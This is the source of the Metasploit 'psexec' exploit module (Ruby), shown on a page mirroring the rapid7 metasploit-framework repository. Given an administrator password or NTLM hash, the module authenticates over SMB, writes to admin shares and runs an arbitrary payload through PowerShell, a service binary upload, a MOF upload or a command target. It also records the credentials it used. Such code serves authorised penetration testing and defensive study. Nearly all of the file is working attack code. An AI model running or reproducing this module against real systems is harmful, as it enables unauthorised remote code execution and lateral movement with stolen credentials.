Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/psexec.rb
31954 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
# Windows XP systems that are not part of a domain default to treating all
7
# network logons as if they were Guest. This prevents SMB relay attacks from
8
# gaining administrative access to these systems. This setting can be found
9
# under:
10
#
11
# Local Security Settings >
12
# Local Policies >
13
# Security Options >
14
# Network Access: Sharing and security model for local accounts
15
16
class MetasploitModule < Msf::Exploit::Remote
17
Rank = ManualRanking
18
19
include Msf::Exploit::Remote::SMB::Client::Psexec
20
include Msf::Exploit::Powershell
21
include Msf::Exploit::EXE
22
include Msf::Exploit::WbemExec
23
include Msf::Auxiliary::Report
24
include Msf::OptionalSession::SMB
25
26
def initialize(info = {})
27
super(
28
update_info(
29
info,
30
'Name' => 'Microsoft Windows Authenticated User Code Execution',
31
'Description' => %q{
32
This module uses a valid administrator username and password (or
33
password hash) to execute an arbitrary payload. This module is similar
34
to the "psexec" utility provided by SysInternals. This module is now able
35
to clean up after itself. The service created by this tool uses a randomly
36
chosen name and description.
37
},
38
'Author' => [
39
'hdm',
40
'Royce Davis <rdavis[at]accuvant.com>', # (@R3dy__) PSExec command module
41
'RageLtMan <rageltman[at]sempervictus>' # PSH exploit, libs, encoders
42
],
43
'License' => MSF_LICENSE,
44
'Privileged' => true,
45
'DefaultOptions' => {
46
'WfsDelay' => 10,
47
'EXITFUNC' => 'thread'
48
},
49
'References' => [
50
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
51
[ 'OSVDB', '3106'],
52
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ],
53
[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],
54
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
55
# T1021_002_SMB_WINDOWS_ADMIN_SHARES replaces the deprecated T1077_WINDOWS_ADMIN_SHARES
56
['ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES],
57
['ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION],
58
['ATT&CK', Mitre::Attack::Technique::T1059_001_POWERSHELL],
59
['ATT&CK', Mitre::Attack::Technique::T1059_003_WINDOWS_COMMAND_SHELL],
60
['ATT&CK', Mitre::Attack::Technique::T1078_VALID_ACCOUNTS],
61
['ATT&CK', Mitre::Attack::Technique::T1550_002_PASS_THE_HASH]
62
],
63
'Payload' => {
64
'Space' => 3072,
65
'DisableNops' => true
66
},
67
'Platform' => 'win',
68
'Targets' => [
69
[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
70
[ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
71
[ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
72
[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],
73
[ 'Command', { 'Arch' => [ARCH_CMD], 'Payload' => { 'Space' => 8191 } } ]
74
],
75
'DefaultTarget' => 0,
76
# For the CVE, PsExec was first released around February or March 2001
77
'DisclosureDate' => '1999-01-01',
78
'Notes' => {
79
'Reliability' => UNKNOWN_RELIABILITY,
80
'Stability' => UNKNOWN_STABILITY,
81
'SideEffects' => UNKNOWN_SIDE_EFFECTS
82
}
83
)
84
)
85
86
register_options(
87
[
88
OptString.new('SMBSHARE', [false, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", ''], aliases: ['SHARE'])
89
]
90
)
91
92
register_advanced_options(
93
[
94
OptBool.new('ALLOW_GUEST', [true, 'Keep trying if only given guest access', false]),
95
OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),
96
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
97
OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])
98
]
99
)
100
end
101
102
def native_upload_with_workaround(smbshare)
103
service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
104
service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''
105
106
# Avoid implementing NTLMSSP on Windows XP
107
# https://seclists.org/metasploit/2009/q1/6
108
if smb_peer_os == "Windows 5.1"
109
connect(versions: [1])
110
smb_login
111
end
112
native_upload(smbshare, service_filename, service_encoder)
113
end
114
115
def validate_service_stub_encoder!
116
service_encoder = datastore['SERVICE_STUB_ENCODER']
117
return if service_encoder.nil? || service_encoder.empty?
118
119
encoder = framework.encoders[service_encoder]
120
if encoder.nil?
121
raise Msf::OptionValidateError.new(
122
{
123
'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"
124
}
125
)
126
end
127
end
128
129
def exploit
130
validate_service_stub_encoder!
131
132
# automatically select an SMB share unless one is explicitly specified
133
if datastore['SMBSHARE'] && !datastore['SMBSHARE'].blank?
134
smbshare = datastore['SMBSHARE']
135
elsif target.name == 'Command'
136
smbshare = 'C$'
137
else
138
smbshare = 'ADMIN$'
139
end
140
141
create_simple_smb_client!
142
143
case target.name
144
when 'Automatic'
145
if powershell_installed?(smbshare, datastore['PSH_PATH'])
146
print_status('Selecting PowerShell target')
147
execute_powershell_payload
148
else
149
print_status('Selecting native target')
150
native_upload_with_workaround(smbshare)
151
end
152
when 'PowerShell'
153
execute_powershell_payload
154
when 'Native upload'
155
native_upload_with_workaround(smbshare)
156
when 'MOF upload'
157
mof_upload(smbshare)
158
when 'Command'
159
execute_command_payload(smbshare)
160
end
161
162
handler
163
disconnect
164
end
165
166
def report_auth
167
service_data = {
168
address: ::Rex::Socket.getaddress(datastore['RHOST'], true),
169
port: datastore['RPORT'],
170
service_name: 'smb',
171
protocol: 'tcp',
172
workspace_id: myworkspace_id
173
}
174
175
credential_data = {
176
origin_type: :service,
177
module_fullname: self.fullname,
178
private_data: datastore['SMBPass'],
179
username: datastore['SMBUser'].downcase
180
}
181
182
if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
183
credential_data.merge!({
184
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
185
realm_value: datastore['SMBDomain']
186
})
187
end
188
189
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
190
credential_data.merge!({ :private_type => :ntlm_hash })
191
else
192
credential_data.merge!({ :private_type => :password })
193
end
194
195
credential_data.merge!(service_data)
196
197
credential_core = create_credential(credential_data)
198
199
login_data = {
200
access_level: 'Admin',
201
core: credential_core,
202
last_attempted_at: DateTime.now,
203
status: Metasploit::Model::Login::Status::SUCCESSFUL
204
}
205
206
login_data.merge!(service_data)
207
create_credential_login(login_data)
208
end
209
210
def create_simple_smb_client!
211
if session
212
print_status("Using existing session #{session.sid}")
213
self.simple = session.simple_client
214
else
215
print_status('Connecting to the server...')
216
connect
217
218
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
219
smb_login
220
221
if !simple.client.auth_user && !datastore['ALLOW_GUEST']
222
print_line
223
print_error(
224
'FAILED! The remote host has only provided us with Guest privileges. ' \
225
'Please make sure that the correct username and password have been provided. ' \
226
'Windows XP systems that are not part of a domain will only provide Guest privileges ' \
227
'to network logins by default.'
228
)
229
print_line
230
disconnect
231
return
232
end
233
234
unless datastore['SMBUser'].to_s.strip.empty?
235
report_auth
236
end
237
238
end
239
end
240
end
241
242